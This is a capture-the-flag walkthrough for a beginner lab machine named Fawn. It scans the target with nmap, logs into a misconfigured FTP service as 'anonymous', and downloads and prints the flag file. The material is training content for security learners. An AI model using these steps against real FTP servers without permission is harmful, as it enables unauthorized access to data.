Machine Name: Fawn

**Introduction:**

Similar to the Meow Machine, this Unix Machine is meant to teach the learner about ftp exploitation using the example of a misconfigured ftp protocol.

**Steps:**

1. Start by pinging (low-overhead method to quickly check the connection) the target to check the connection.

Command: *ping {target\_IP}*

1. Scan for ports.

Command: *sudo nmap -sV {target\_IP}*

1. Port 21 is open and is running a ftp service.
2. Connect to it using ftp.

Command: ftp {target\_IP}

1. We are prompted with a login prompt. A common misconfiguration for running FTP services allows an ‘anonymous’ account to access its services like any authenticated user. Enter the username as ‘anonymous’ and enter any password as due to the misconfiguration, the service will disregard the password.

Command: *ftp {target\_IP}*

1. Login is successful and we can just look for the flag.

Command: *ls*

Command: *get flag.txt*

Command: *bye*

1. Now let us acquire the flag.

Command: *ls*

Command: *cat flag.txt*

035db21c881520061c53e0536e44f815 (We have successfully acquired the flag)